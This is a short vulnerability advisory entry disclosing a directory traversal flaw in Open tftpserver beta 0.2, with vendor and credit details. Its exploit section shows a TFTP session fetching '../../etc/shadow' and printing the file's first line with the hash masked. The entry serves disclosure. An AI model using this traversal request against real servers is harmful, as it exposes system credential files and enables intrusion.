VDB-ID: 46
Title: Open tftpserver dot dot vulnerability
Vulnerability Date: 2006-03-24
Download: http://sourceforge.net/projects/tftp-server/
Vendor: achaldhir
Notified: 2006-03-24
Vendor Contact: http://sourceforge.net/u/achaldhir/profile/
Description: MultiThreaded TFTP Server Open Source Freeware Windows/Unix for PXEBOOT, firmware load, support tsize, blksize, timeout Server Port Ranges, Block Number Rollover for Large Files. Runs as Service/daemon. Single Port version also available.
Vulnerability: tftpserver beta 0.2 is vulnerable to the ../ bug because it does not sanitize user input.
CVE-IDs: 
Exploit: root@pangea:/home/done/tftpserver# tftp 192.168.0.26

tftp> get ../../etc/shadow

Received 652 bytes in 0.0 seconds

tftp> quit

root@debian:/home/done/tftpserver# head shadow

root:$1XXXXXXXXXXXXXXXXXXX:13046:0:99999:7:::
URL: http://www.vapid.dhs.org/advisories/tftpserver_dot_dot_vulnerability.html
Credit: Larry W. Cashdollar, @_larry0